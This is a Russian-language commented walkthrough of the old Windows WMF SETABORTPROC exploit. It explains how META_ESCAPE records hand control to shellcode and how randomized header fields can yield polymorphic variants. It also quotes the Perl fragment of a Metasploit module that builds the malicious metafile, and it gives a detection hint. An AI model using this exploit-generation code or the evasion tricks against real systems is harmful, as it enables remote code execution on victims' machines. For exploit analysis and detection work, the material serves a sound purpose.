откомментированный фрагмент простейшего wmf-эксплоита
Вначале идет стандартный wmf-заголовок, большинство полей которого игнорируются системой и потому может гут принимать любые значения. Главное, чтобы: FileType == 1, HeaderSize == 9, Version было 100h или 300h, а FileSize содержало достоверный размер файла, в противном случае IrfanViewr и другие графические программы обломаются с открытием метафайла (см. таблицу 1). Это обстоятельство можно использовать для создания полиморфных червей и прочей живности. (кстати говоря, функция PlayMetaFile допускает намного большую вольность, не проверяя поля FileType и FileSize).
К заголовку примыкает первая фреймовая запись, содержащая вызов функции META_ESCAPE (с "паспортным" кодом
626h) с подфункцией SETABORTPROC (код 0009h), принимающей два параметра — дескриптор контекста устройства (у Ильфака в данном случае равен 16h, но может быть любым) и машинный код, которому будет передано управление, то есть shell-код. Коды всех документированных функций описаны в WINGDI.H (см. "/* Metafile Functions */"), там же определены можно найти и Escape-последовательности., которые можно найти контекстным поиском по слову META_
Дизассемблирование GDI32.DLL показывает, что Windows считывает только младший байт функции (для META_ESCAPE это 26h), а в старшем передает кол-во параметров, которое никто не проверяет! Таким образом, чтобы распознать зловредный wmf-файл необходимо проанализировать все фреймовые записи в поисках функции 26h, подфункции 9h.
Размер фреймовой записи не обязательно должен соответствовать действительности, так же совершенно необязательно вставлять замыкающую фреймовую запись, как того требует wmf-спецификация, поскольку, когда shell-код получит управление все спецификации высадиваются на измену, то есть, идут лесом.
Что же касается самого shell-кода, то он вполне стандартен. Ильфак определяет базовый адрес KERNEL32.DLL через PEB,
(что не работает на 9x), разбирает таблицу экспорта, находит адрес API-функции LoadLibraryA, загружает USER32.DLL и выводит "ругательство" через MessageBoxA.
Чтобы shell-код работал и под 9x необходимо переписать функцию GetKrnl32addr, научив ее находить KERNEL32.DLL прямым поиском в памяти. Мыщъх уже писали об этом в статье "техника написания переносимого shell-кода", так что не будем повторяться, а лучше разберем другой эксплоит, последожнее.
Пусть это будет "Metasploit Framework", который можно скачать с www.metasploit.com/projects/Framework/modules/exploits/ie_xp_pfv_metafile.pm. Это добротный полиморфный эксплотит, с движком целиком написанным на Перле, и способный нести любую боевую начинку в переменной PayLoad. Ниже приведен его ключевой фрагмент, генерирующий wmf-файл.
// Metasploit Framework
'Payload' =>
{
'Space' =>
1000 + int(rand(256)) * 4,
'BadChars' =>
"\x00",
'Keys' =>
['-bind'],
},
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* тип метафайла (1 = память, 2 = диск) Type of metafile (1=memory, 2=disk) */
int(rand(2))+1, /* (на самом деле 0 - память, 1 - диск, kpnc) */
# WORD HeaderSize; /* размер заголовка в словах (всегда 9) Size of header in WORDS (always 9) */
9,
# WORD Version; /* требуемая версия Windows Version of Microsoft Windows used */
(int(rand(2)) == 1 ? 0x0100 : 0x0300),
# DWORD FileSize; /* полный размер метафайла в словах Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* кол-во объектов в файле Number of objects in the file */
rand(0xffff),
# DWORD MaxRecordSize; /* размер наибольшей записи в словах The size of largest record in WORDs */
rand(0xffffffff),
# WORD NumOfParams; /* не используется, может быть любым Not Used (always 0) */
rand(0xffff),
).
#
# Filler data /* случайные "мусорные" фреймы */
#
$pre_buff.
#
# StandardMetaRecord - Escape /* META_ESCAPE */
#
pack('Vvv',
# DWORD Size; /* полный размер записи в словах Total size of the record in WORDs */
4,
# WORD Function; /* номер функции и случайное кол-во арг. Function number (defined in WINDOWS.H) */
int(rand(256) << 8) + 0x26,
# WORD Parameters[]; /* номер подфункции SETABORTPROC Parameter values passed to function */
9,
). $shellcode . /* фиктивное поле + shell-код */